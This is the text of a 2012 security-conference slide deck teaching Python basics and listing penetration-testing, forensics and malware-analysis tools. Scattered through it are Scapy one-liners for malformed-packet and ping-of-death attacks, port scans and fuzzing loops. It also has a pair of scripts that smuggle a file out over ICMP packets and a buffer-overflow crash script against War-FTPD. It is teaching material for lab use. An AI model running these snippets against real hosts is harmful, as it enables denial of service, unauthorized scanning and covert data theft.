Overview of Python - Bsides Detroit 2012

Overview of Python

Flying made simple without
the Nyquil hangover
Keith Dixon
@Tazdrumm3r

Agenda
• About me
• About Python
• Python basics
• Python’s uses
• Coding for Penetration Testers book
• Tips, tricks, observations
• Resources

About me
Who am I?

• Husband/father/geek/gets distracted by shiny objects
easy
• Career path switched to IT in 1999, professionally in IT
since 2001
– Learning, studying, and currently interviewing for
infosec professional roles
• Vbscript – 2007
• Python – 2011

About Python
• Conceived in the late 1980’s by Guido van
Rossum at CWI.

• Python 2.0 was release on October
16th, 2000

• Python 3.0 was released on
December 2008

What is Python good for?
• Python comes with a large standard library that covers areas
such as;
• string processing

• Internet protocols

• software engineering

• operating system interfaces

• Artificial intelligence (because of similarities to Lisp)

Extensive use in the information security industry
• Exploit development
• Network
• Debugging
• Reverse engineering
• fuzzing,
• Web
• Forensics
• Malware analysis
• PDF

• Easy to write short scripts for system admin work.

• Python code is easy to understand.
• Once the basic syntax is learned, even the most complicated
scripts can make sense.

• Python is cross platform!!
• It will work on Linux, Windows, Mac and most every other
OS.

• Many, many resources and a big, friendly community

Python tools

• Social-Engineer Toolkit - specifically designed to perform advanced attacks against the
human element.
• Artillery - a honeypot/monitoring/prevention tool used to protect Linux-based
systems.
• Fast-Track - aimed at helping Penetration Testers in an effort to identify, exploit, and
further penetrate a network.

• Scapy - send, sniff and dissect and forge network packets. Usable interactively or as a
library
• Pytbull - flexible IDS/IPS testing framework (shipped with more than 300 tests)
• Scrapy - a fast high-level screen scraping and web crawling framework, used to crawl
websites and extract structured data from their pages
• W3af - a Web Application Attack and Audit Framework.

Inspiration for the idea? (Part 1)

Inspiration for the idea? (Part 2)

Post CSAW CTF

Python 101
• Indentation does matter This will work
startNumber = int(raw_input("Enter the start number here "))
endNumber = int(raw_input("Enter the end number here "))

def fib(n):
if n < 2:
return n
return fib(n-2) + fib(n-1)

print map(fib, range(startNumber, endNumber))

But this won’t…
startNumber = int(raw_input("Enter the start number here "))
endNumber = int(raw_input("Enter the end number here "))

def fib(n):
if n < 2:
return n
return fib(n-2) + fib(n-1)

print map(fib, range(startNumber, endNumber))

Python 101
• All scripts are considered Entire module Partial method
modules >>> import sys >>> from sys import argv
• All functions inside
module can be used or
only certain methods
can be used inside
script

• Help is built in Help on modules Help on methods
>>> Import sys, hashlib >>> Import sys, hashlib
>>> help(sys) >>> help(sys.argv)
>>> help(hashlib) >>> help(hashlib.sha512)

keith@dw ~$ pydoc sys keith@dw ~$ pydoc sys.argv
keith@dw ~$ pydoc hashlib keith@dw ~$ pydoc hashlib.sha512

Python 101
• It can be ran interactively Via command prompt Via shell

keith@dw ~ $ python • IDLE
• DreamPie
Python 2.72 • Ipython
Type “help”, “copyright”..
>>>

Windows Linux
• Scripts
File extensions File extensions (optional)
• *.py – Python script • *.py – Python script
• *pyc – Compiled Python file • *pyc – Compiled Python file
(generated by running script) (generated by running script)

Running scripts Running scripts
• .py file extension associated with • Must have #!/usr/bin/python (path
python.exe to python) at the top of the script
• Should have #!/usr/bin/python at • If you’re running it from the
the top of the script in case you terminal, the script must be
want to run it on Linux chmod’ed to make it executable or
• If the path to the interpreter is in you can call python and the script
your system path, you can name…
doubleclick script to run, keith@dw ~ $ python password.py
otherwise…
C:UsersKeith>python
password.py

Python 102
• Data types Numbers String List (mutable) Tuple (non
mutable)
A = 10 A = ‘This is a string’ list = *‘abc’, 45, ‘The list = (‘abc’, 45, ‘The
B = 0100 or B = 0x41 Avengers’, 0x67, ‘def’, Avengers’, 0x67,
or B = 0b1000000 print A 15.5] ‘def’, 15.5)
C = 3.56 print A[0]
D = 3.16j print A[3:6] print list print list
print A[4:] print list [0] print list [0]
• Integers print A * 2 print list [1:3] print list [1:3]
• Long integers print A + “ and this is print list[2:] print list[2:]
(octal, hex, how it prints” list.append*“Detroit”+ list.append(“Detroit”)
binary)
• Float 'This is a string' list = *‘abc’, 45, ‘The AttributeError: 'tuple'
• complex ‘T’ Avengers’, 0x67, ‘def’, object has no
‘s i’ 15.5,’Detroit’+ attribute 'append’
‘ is a string’

• Conditional If statement Else statement Elif statement
statements
if x = true: if x = 1: if expression1:
print true print “1” statement(s)
else: elif expression2:
print “not 1” statement(s)
else:
statement(s)

Python 102
• Looping While loop For loop Loop control

count = 0 code1 = (sys.argv[1]) count = 0
while (count < 9): code_split = code1.split(':') while (count < 9):
print 'The count is:', count print 'The count is:', count
count = count + 1 for i in code_split: count = count + 1
code1a = int(i) if count = 7:
print "Good bye!" codefinal = chr(code1a) break

sys.stdout.write(codefinal) print "Good bye!"

• Functions Creating a function In use

def base64_decode(base64_key): >>>csaw.base64_decode(‘V2VsY29tZSB0byBCc2lkZXMgRG
answer=base64_key.decode('base64','strict') V0cm9pdCAyMDEyLiBNYWtlIHN1cmUgdG8gdGhhbmsgUnl
print answer hbiwgU3RldmVuLCBXb2xmZ2FuZywgYW5kIEt5bGUgZm9yI
GFsbCB0aGUgaGFyZCB3b3JrIHRoZXkgZGlkIHRvIG1ha2Ugd
GhpcyB5ZWFyIHN1Y2ggYSBzdWNjZXNzIQ==‘)

>>> Welcome to Bsides Detroit 2012. Make sure to thank
Ryan, Steven, Wolfgang, and Kyle for all the hard work
they did to make this year such a success!

Python 102
Open a file for reading Write to a file
• Files
#!/usr/bin/python #!/usr/bin/python

f = open ('base64.txt', 'r') import sys
file = f.read()
if len(sys.argv)<2:
answer=file.decode('base64','strict') sys.exit("Usage " + sys.argv[0] + " <Base64 code you wish to decode>n")
print answer basecode = sys.argv[1]
answer=basecode.decode('base64','strict')
f.close ( ) print answer
fo = open("base64.txt", "w")
fo.write(answer)
fo.close()

• Input/output raw_input input

#!/usr/bin/python #!/usr/bin/python

str = raw_input("Enter your input: "); str = input("Enter your input: ");
print "Received input is : ", str print "Received input is : ", str

Input is  Thanks for coming to Bsides Input is  5 * 5
Output is  Received input is : Thanks for coming to Output is  25
Bsides

Python’s uses – General scripting

• Cryptography
• Password creation
• Use files (write to/read from)

Cryptography
Encode Base64 code

#!/usr/bin/python

code = raw_input("Enter the data you wish to be encoded to Base64")
answer=code.encode('base64','strict')
print answer

Encode ROT13 code

#!/usr/bin/python

print answer

Decrypt module
#!/usr/bin/python

import sys

def hexdecode(hex_key):
import binascii
hex_split = hex_key.split(':')
for decode in hex_split:
hex_decode = binascii.a2b_hex(decode)
sys.stdout.write(hex_decode)

def uni_decode(unicode_key):
unicode_split=unicode_key.split(':')
for i in unicode_split:
code1a = int(i)
codefinal = chr(code1a)
sys.stdout.write(codefinal)

def base64_decode(base64_key):
answer=base64_key.decode('base64','strict')
print answer

def binary_decode(binary_key):
import math
f = lambda v, l: [v[i*l:(i+1)*l] for i in range(int(math.ceil(len(v)/float(l))))]
basecode = f (binary_key,8)
for code in basecode:
x = (code)
decodea = int(code,2)
decodeb = chr(decodea)
sys.stdout.write(decodeb)

def rot13_decode(rot13_key):
answer=rot13_key.decode('rot13','strict')
print answer

Password creation
##Author: ATC
##Please score this on activestate
import string, random

print "How many characters would you like the password to have?"
print "Must be nine or more"
length = input ()
password_len = length
password = []
for group in (string.ascii_letters, string.punctuation, string.digits):
password += random.sample(group, 3)

password += random.sample(
string.ascii_letters + string.punctuation + string.digits,
password_len - len(password))

random.shuffle(password)
password = ''.join(password)

print password

http://code.activestate.com/recipes/577905-password-generator/

Use files (write to/read from)
Read from a file
#!/usr/bin/python

f = open ('base64.txt', 'r')
file = f.read()
answer=file.decode('base64','strict')
f.close ( )

Write to a file

#!/usr/bin/python

f=open('base64.txt','w')
line=f.write(answer)
f.close ( )

Python’s uses – Networking
• Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a
library
• Pytbull: flexible IDS/IPS testing framework (shipped with more than 300 tests)
• Mallory, man-in-the-middle proxy for testing
• mitmproxy: SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows
to be inspected and edited on the fly
• Impacket: craft and decode network packets. Includes support for higher-level
protocols such as NMB and SMB
• Knock Subdomain Scan, enumerate subdomains on a target domain through a wordlist
• pypcap, Pcapy and pylibpcap: several different Python bindings for libpcap
• libdnet: low-level networking routines, including interface lookup and Ethernet frame
transmission
• dpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP
protocols
• pynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly
and port scan detection
• Dirtbags py-pcap: read pcap files without libpcap
• flowgrep: grep through packet payloads using regular expressions
• httplib2: comprehensive HTTP client library that supports many features left out of
other HTTP libraries
http://www.dirk-loss.de/python-tools.htm

Scapy www.secdev.org/projects/scapy/

• Packet creation • Classic attacks
• Read PCAP files • Malformed packets
• Create graphical dumps • Ping of death
• Must have appropriate supporting • Nestea attack
tools installed • ARP cache poisoning
• Fuzzing • Scans
• Send and receive packets • SYN scan
• TCP traceroute (can do graphical dump • ACK scan
as well) • XMAS scan
• Sniffing • IP scan
• Send and receive files through • TCP port scan
alternate data channels (ICMP) • IKE scan
• Ping • Advanced traceroute
• ARP ping • TCP SYN traceroute
• ICMP ping • UDP traceroute
• TCP ping • DNS traceroute
• UDP ping • VLAN hopping
• Wireless frame injection • Wireless sniffing
• OS Fingerprinting • Firewalking

Scapy
• Packet creation
• Stacking layers

Scapy
• Read PCAP files
• A=rdpcap(“<directory where PCAP file is>/<pcap file>”)

• Create graphical dumps
• A[<packet number>].psdump(“<location to store .eps file>, layer_shift=1)

Scapy
Send packets
• send(IP(dst=“192.168.1.1")/ICMP())
• sendp(Ether()/IP(dst=" 192.168.1.1 ",ttl=(1,4)), iface="eth0")
• sendp(rdpcap("/tmp/pcapfile"))

Scapy
sendp("I’m travelling on Ethernet", iface="eth0", loop=1, inter=0.2)

Scapy
Send and receive packets

• p=sr1(IP(dst="www.slashdot.org")
/ICMP()/"XXXXXXXXXXX")

• p=sr1(IP(dst="www.slashdot.org")
/ICMP()/" ABCDEFGHIJ ")

• p.show()

Scapy

• p=sr1(IP(dst="www.slashdot.org")/ICMP()/“ABCDEFGHIJ")

Scapy

• sr(IP(dst="192.168.1.10")/TCP(dport=[21,22,23]))
• sr(IP(dst=" 192.168.1.10 ")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)

Scapy
Fuzzing • send(IP(dst=“192.168.1.10")/fuzz(ICMP()/NTP(version=4)),loop=1)
• send(IP(dst="192.168.1.10")/fuzz(TCP()/NTP(version=4)),loop=1)

TCP traceroute
• res,unans =
traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com
],dport=[80,443],maxttl=20,retry=-2) "
Scapy

Scapy
Sniffing
• sniff(filter="icmp and host 66.35.250.151", count=2)
• a=_
• a.nsummary()
• a[1]

• sniff(iface="eth0", prn=lambda x: x.show())

SYN scan
• sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
Scapy
• sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
• sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
• ans.summary()
• ans.summary( lambda(s,r): r.sprintf("%TCP.sport% t %TCP.flags%") )

Scapy
Classic attacks
• Malformed packets
• send(IP(dst="192.168.1.10", ihl=2, version=3)/ICMP())
• Ping of death
• send( fragment(IP(dst=" 192.168.1.10 ")/ICMP()/("X" * 60000)) )

• send(IP(dst="192.168.1.10", ihl=2, version=3)/ICMP())
Scapy
• send( fragment(IP(dst=" 192.168.1.10 ")/ICMP()/("X" * 60000)) )

Scapy
To send packets via ICMP

#!/usr/bin/python
import sys

from scapy.all import *

conf.verb = 0

f = open(sys.argv[1])
data = f.read()
f.close()

host = sys.argv[2]

print "Data size is %d " %len(data)

i=0
while i<len(data):
pack = IP(dst=host)/ICMP(type="echo-reply")/data[i:i+32]
send(pack)
i = i+32
print "Data sent"

Scapy
To receive packets via ICMP

#!/usr/bin/python
import sys
from scapy.all import *

conf.verb=0

f=open(sys.argv[1],"w")
host=sys.argv[2]
count = int(sys.argv[3])

filter="icmp and host " + host
print "sniffing with filter (%s) for %d bytes" %
(filter,int(count))

packets = sniff(count,filter=filter)
for p in packets:
f.write(p['Raw'].load)

f.close()
print "Data received"

Python’s uses – Debugging and Reverse Engineering
• Immunity Debugger: scriptable GUI and command line debugger
• mona.py: PyCommand for Immunity Debugger that replaces and improves on
pvefindaddr
• Paimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPH
• IDAPython: IDA Pro plugin that integrates the Python programming language, allowing
scripts to run in IDA Pro
• pefile: read and work with Portable Executable (aka PE) files
• pydasm: Python interface to the libdasm x86 disassembling library
• PyDbgEng: Python wrapper for the Microsoft Windows Debugging Engine
• uhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the
executable file in memory
• diStorm64: disassembler library for AMD64, licensed under the BSD license
• python-ptrace: debugger using ptrace (Linux, BSD and Darwin system call to trace
processes) written in Python
• vdb / vtrace: vtrace is a cross-platform process debugging API implemented in python,
and vdb is a debugger which uses it (mirror)
• Androguard: reverse engineering and analysis of Android applications


Coding for Pentesters - Exploitation scripting

Coding for Pentesters – Exploitation scripting

Building Exploits with Python
1. Windows XP SP0

2. War-FTPD v 1.65

3. Immunity Debugger


Step 1 – Open WarftpD with Immunity


Step 2 – Run WarFTPD by pressing F9 and then set it to GoOnline.

Step 3 – Build this script and run it…. and enjoy the
show

#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
username = "A"*1024
passwd = "anything"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("[-] Connection error!")
sys.exit(1)
r = sock.recv(1024)
print "[+] " + r

sock.send("user %srn" %username)
r = sock.recv(1024)
print "[+] " + r
sock.send("pass %srn" %passwd)
r = sock.recv(1024)
print "[+] " + r
sock.close()


The connection attempt with the user name of
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Step 4 - WarFTPD crashes!

Python’s uses – Malware analysis
• torwget.py: Multi-platform TOR-enabled URL
• clamav_to_yara.py: Convert ClamAV antivirus signatures to
YARA rules
• peid_to_yara.py: Convert PEiD packer signatures to YARA rules
• av_multiscan.py: Script to implement your own antivirus multi-
scanner
• pescanner.py: Detect malicious PE file attributes
• ssdeep_procs.py: Detect self-mutating code on live Windows
systems using ssdeep
• avsubmit.py: Command-line interface to VirusTotal,
ThreatExpert, Jotti, and NoVirusThanks
• dbmgr.py: Malware artifacts database manager
• artifactscanner.py: Application to scan live Windows systems
for artifacts (files, Registry keys, mutexes) left by malware
• mapper.py: Create static PNG images of IP addresses plotted
on a map using GeoIP
• googlegeoip.py: Create dynamic/interactive geographical maps
of IP addresses using Google charts
• sc_distorm.py: Script to produce disassemblies (via DiStorm) of
shellcode and optionally apply an XOR mask
• vmauto.py: Python class for automating malware execution in
VirtualBox and VMware guests
• mybox.py: Sample automation script for VirtualBox based on
vmauto.py

• myvmware.py: Sample automation script for VMware based
on vmauto.py
• analysis.py: Python class for building sandboxes with support
for analyzing network traffic, packet captures, and memory
• scd.py: Immunity Debugger PyCommand for finding shellcode
in arbitrary binary files
• findhooks.py: Immunity Debugger PyCommand for finding
Inline-style user mode API hooks
• pymon.py: WinAppDbg plug-in for monitoring API calls,
alerting on suspicious flags/parameters and producing an
HTML report
• xortools.py: Python library for encoding/decoding XOR,
including brute force methods and automated YARA signature
generation
• trickimprec.py: Immunity Debugger PyCommand for assistance
when rebuilding import tables with Import REconstructor
• kraken.py: Immunity Debugger PyCommand for cracking
Kraken’s Domain Generation Algorithm (DGA)
• sbstrings.py: Immunity Debugger PyCommand for decrypting
Silent Banker strings
• install_svc.py: Python script for installing a service DLL and
supplying optional arguments to the service
• dll2exe.py: Python script for converting a DLL into a standalone
executable
• windbg_to_ida.py: Python script to convert WinDbg output
into data that can be imported into IDA

Practical Malware Analysis
• FakeNet - http://practicalmalwareanalysis.com/

• Cuckoo Sandbox - a malware analysis system used to analyze Windows
executables, DLL files, PDF documents, Office documents, PHP
scripts, Python scripts, Internet URLs and almost anything else you can
imagine.
• yara-python: identify and classify malware samples
• pyew: command line hexadecimal editor and disassembler, mainly to
analyze malware
• Exefilter: filter file formats in e-mails, web pages or files. Detects many
common file formats and can remove active content
• pyClamAV: add virus detection capabilities to your Python software
• jsunpack-n, generic JavaScript unpacker: emulates browser functionality to
detect exploits that target browser and browser plug-in vulnerabilities
• phoneyc: pure Python honeyclient implementation


Python’s uses – Fuzzing
• Sickfuzz: a fuzzer made out of several custom .spk files and a python script to wrap them up,
including some tshark support and other features.
• Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible
components
• Peach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzing
• antiparser: fuzz testing and fault injection API
• TAOF, including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer
• Powerfuzzer: highly automated and fully customizable web fuzzer (HTTP protocol based
application fuzzer)
• FileP: file fuzzer. Generates mutated files from a list of source files and feeds them to an external
program in batches
• Mistress: probe file formats on the fly and protocols with malformed data, based on pre-defined
patterns
• Fuzzbox: multi-codec media fuzzer
• Forensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing
fuzzed files in order to test the robustness of forensics tools and examination systems
• Windows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess
Communication mechanisms
• WSBang: perform automated security testing of SOAP based web services
• Construct: library for parsing and building of data structures (binary or textual). Define your data
structures in a declarative manner
• fuzzer.py (feliam): simple fuzzer by Felipe Andres Manzano
• Fusil: Python library used to write fuzzing programs

Python’s uses – Fuzzing
Sickfuzz

Python’s uses – Web
• Scrapy: a fast high-level screen scraping and web crawling framework, used
to crawl websites and extract structured data from their pages. It can be
used for a wide range of purposes, from data mining to monitoring and
automated testing.
• ProxMon: processes proxy logs and reports discovered issues
• Twill: browse the Web from a command-line interface. Supports
automated Web testing
• Windmill: web testing tool designed to let you painlessly automate and
debug your web application
• FunkLoad: functional and load web tester
• spynner: Programmatic web browsing module for Python with
Javascript/AJAX support
• python-spidermonkey: bridge to the Mozilla SpiderMonkey JavaScript
engine; allows for the evaluation and calling of Javascript scripts and
functions


Python’s uses – Web http://snippets.scrapy.org/snippets/7/

Python’s uses – Forensics

• Volatility: extract digital artifacts from volatile memory (RAM)
samples
• SandMan: read the hibernation file, regardless of Windows
version
• LibForensics: library for developing digital forensics applications
• TrIDLib, identify file types from their binary signatures. Now
includes Python binding
• aft: Android forensic toolkit


Python’s uses – Forensics
Volatility

Python’s uses – Miscellaneous
• InlineEgg: toolbox of classes for writing small assembly programs in Python
• Exomind: framework for building decorated graphs and developing open-source intelligence modules and ideas,
centered on social network services, search engines and instant messaging
• RevHosts: enumerate virtual hosts for a given IP address
• simplejson: JSON encoder/decoder, e.g. to use Google's AJAX API
• PyMangle: command line tool and a python library used to create word lists for use with other penetration
testing tools (abandoned?)
• Hachoir: view and edit a binary stream field by field

Other useful libraries and tools
• IPython: enhanced interactive Python shell with many features for object introspection, system shell access, and
its own special command system
• Beautiful Soup: HTML parser optimized for screen-scraping
• Mayavi: 3D scientific data visualization and plotting
• Twisted: event-driven networking engine
• Suds: lightweight SOAP client for consuming Web Services
• M2Crypto: most complete OpenSSL wrapper
• NetworkX: graph library (edges, nodes)
• pyparsing: general parsing module
• lxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python language
• Whoosh: fast, featureful full-text indexing and searching library implemented in pure Python
• Pexpect: control and automate other programs, similar to Don Libes `Expect` system
• Sikuli, visual technology to search and automate GUIs using screenshots. Scriptable in Jython
• PyQt and PySide: Python bindings for the Qt application framework and GUI library


Coding for Penetration Testers book
Script Function Learned
Webcheck_v1.py Monitor web server – verify it 1. Script arguments
remains up 2. Connect to web server and run a GET request

Webcheck_v2.py Monitor web server – verify it 1. Alternate script arguments method
remains up (default to port 80)

Subnetcalc.py Calculate subnet mask, broadcast 1. Parse out values programmatically
address, network range, and 2. Math functions with variables
gateway from IP/CIDR 3. Displaying results
4. Using FOR loops
Pass.py Determines if users are using the 1. Use the crypt module
original default assigned password
Robotparser.py Retrieve the paths from the 1. Parse the robots.txt file with the built robotparser module
robot.txt 2. Nesting FOR loops
root_check.py Checks to see what permissions 1. Using IF and ELIF conditional statements
logged in account has (normal 2. Use OS module to make system calls
user, root or system account)

Readshadow.py Checks to see if you have 1. Use OS module to make system calls
permission to read /etc/shadow 2. Tests permissions on files to see if current credentials can read file

Network_socket.py Connect to website, pull contents 1. Network socket creation
(hard coded) 2. Spaces will bite you in the ass where you least expect it.

Coding for Penetration Testers book
Script Function Learned
network_socket_argum Connect to website, pull contents 1. Network socket creation
ent.py (site specified by argument) 2. Spaces will bite you in the ass where you least expect it.
Server_connect.py Once a connection is made, send 1. Network socket creation
back a string 2. Allow incoming connections.
receiveICMP.py To receive a file from another 1. Python script using Scapy
system via ICMP (in conjunction
with sendICMP.py)
sendICMP.py To send a file to another system 1. Python script using Scapy
via ICMP (in conjunction with
receiveICMP.py)

Little gems I found
Description Function Site
Python-nmap It’s a Python library which helps in http://xael.org/norman/python/python-
using nmap. nmap/
Python API to the VirtualBox Allowing you to control every http://download.virtualbox.org/virtualbox
VM aspect of virtual machine /SDKRef.pdf
configuration and execution
Py2Exe py2exe is http://www.py2exe.org/
a Python Distutils extension
which converts Python scripts
into executable Windows
programs, able to run without
requiring a Python installation.
Chrome Various extensions/applications • https://chrome.google.com/webstore/
extensions/applications found in the Chrome Webstore detail/gdiimmpmdoofmahingpgabiikim
jgcia <-- Python shell (browser button)
• https://chrome.google.com/webstore/
detail/cmlchnlmkdcpelgmkebknjgjgdd
ncelc - Python shell (Chrome
application)
• https://chrome.google.com/webstore/
detail/nckbgikkpbjdliigbhgjfgfcahhona
kp <-- Online Python development
environment

Little gems I found Extra extra credit
Description Function Site
Tweepy It’s the best working Python http://tweepy.github.com/
library to interface with Twitter
(so far)

Tweepy

• Direct message
• Check friends timelines
• Create favorites

http://talkfast.org/2010/05/31/twitter-from-the-command-line-in-python-using-oauth

Tips, tricks, etc.
IDE (http://wiki.python.org/moin/IntegratedDevelopmentEnvironments)
• Windows
• PyScripter
• Aptana Studio
• IDLE
• Ninja
• Wing IDE
• Linux
• IDLE
• Geany
• Python Toolkit
• SPE
• ERIC (supposed to have auto-complete of code…)

Editors (http://wiki.python.org/moin/PythonEditors)
• Windows
• Notepad++
• Linux
• Gedit
• SCiTE

Tips, tricks, etc.
Shells
• DreamPie
• Automatic of completion of attributes and file names
• History box
• Code box
• IDLE
• Included with Python install
• Ipython
• PyShell
• Guake

Other
• PythonAnywhere
• http://pythonanywhere.com/

Tips, tricks, etc.
Linux vs. Windows

Linux
• Linux scripts can be ran via terminal
• calling python <script name>
• by putting #!/usr/bin/python at the top (path
to interpreter) and typing ./<script name>
• Common problem on PyScripter
(awesome Windows Python IDE)… extra
code comments are put at the top, then
the #! /usr/bin/python

Windows
• Windows scripts don’t need the #! but need to have
.py associated with Python interepreter.
• Scripts can be double clicked or ran from
command prompt python <script name>
• If the script is double clicked, without
having raw_input("Press ENTER to exit")
you may not see the output of the script.

Portable Python (Windows only)
• Portable Python is a Python® programming
Tips, tricks, etc.
language preconfigured to run directly from any USB
storage device, enabling you to have, at any time, a
portable programming environment. Just download
it, extract to your portable storage device or hard
drive and in 10 minutes you are ready to create your
next Python® application.
• Portable Python 2.7.2.1 package contains
following applications/libraries:
• PyScripter v2.4.1
• NymPy 1.6.0
• SciPy 0.90
• Matplotlib 1.0.1
• PyWin32 216
• Django 1.3
• PIL 1.1.7
• Py2Exe 0.6.9
• wxPython 2.8.12.0
• Portable Python 3.2.1.1 package contains
following applications/libraries (alphabetical
order):
• NetworkX v1.4
• PySerial 2.5
• PyScripter v2.4.1
• PyWin32 v.216
• RPyC-3.0.7

Beginners guides from Python
Additional resources
• http://wiki.python.org/moin/BeginnersGuide/NonProgrammers
• http://wiki.python.org/moin/BeginnersGuide/Programmers
Extra tools
• http://mashable.com/2007/10/02/python-toolbox/

Online exercises
• http://codingbat.com/python
• http://homepage.mac.com/s_lott/books/python.html
• http://web.archive.org/web/20110625065328/http://diveintopython.org/toc/index.html
• http://anh.cs.luc.edu/python/hands-on/
• http://code.google.com/edu/languages/google-python-class/index.html
• http://www.cdf.toronto.edu/~csc148h/winter/
• http://www.cdf.toronto.edu/~csc108h/fall/
• http://projecteuler.net/
• http://www.upriss.org.uk/python/PythonCourse.html
• http://www.pythonchallenge.com/
• http://learnpythonthehardway.org/
• http://www.awaretek.com/tutorials.html
• http://www.checkio.org/
• http://www.pyschools.com/

General learning materials
• http://www.py4inf.com/

Free online videos
• http://freevideolectures.com/Course/2512/Python-Programming
• http://showmedo.com/videotutorials/python
• http://www.python.org/doc/av/
• http://thenewboston.org/list.php?cat=36
Online books
• http://en.wikibooks.org/wiki/Python_Programming
Online interactive tutorial/interpreter
• http://www.trypython.org
• http://www.learnpython.org/
• https://languageshells.appspot.com/
Forums
• http://www.python-forum.org
• http://stackoverflow.com/questions/tagged/python
• http://www.daniweb.com/software-development/python/114
Module/package repositories
• http://pypi.python.org/pypi The Python Package Index is a repository of software for the Python
programming language. There are currently 17409 packages here.
• http://code.activestate.com/recipes/ The ActiveState Code Recipes contains 3850 snippets to
learn from and use.
Python tools for penetration testers
• http://www.dirk-loss.de/python-tools.htm

Training
• SecurityTube Python Scripting Expert
• http://securitytube-training.com/certifications/securitytube-
python-scripting-expert/?id=main
• Module 1: Python Scripting – Language Essentials
• Module 2: System Programming and Security
• Module 3: Network Security Programming – Sniffers
and Packet Injectors
• Module 4: Attacking Web Applications
• Module 5: Exploitation Techniques
• Module 6: Malware Analysis and Reverse Engineering
• Module 7: Attack Task Automation
• Module 8: Further Study and Roadmap
• Module 9: Exam Pattern and Mock Exam

• PYTHON TRAINING FOR SECURITY PROFESSIONALS
• http://www.trainace.com/courses/python/
• Log Parsing with Python
• Pcap Parsing with Python
• Network Attack with Python
• Web Application Attack with Python
• Malware Analysis with Python
• Exploit Development with Python

All the scripts
Category Script
CSAW Crypto
Redux –
Challenge 1 to
5
Extra credit

Coding for
Penetration
Testers – part 1

Coding for
Penetration
Testers – part 2

Coding for
Penetration
Testers – part 3
Extra extra
credit

Etc.
Antigravity
• When you open up ModulesDocs and
click on antigravity module or from IDLE
run import antigravity, a web browser
opens to the XKCD cartoon at the
beginning of this slide deck.

Zen of Python
• To start the path of finding Zen of Python,
remember these two key words…
IMPORT THIS .
• From an IDE (IDLE) or a Python shell,
run import this and the Zen of
Python will be revealed.

Questions?

Keith Dixon
@Tazdrumm3r
#misec – Tazdrumm3r
tazdrummer@gmail.com
http://tazdrumm3r.wordpress.com

Overview of Python - Bsides Detroit 2012

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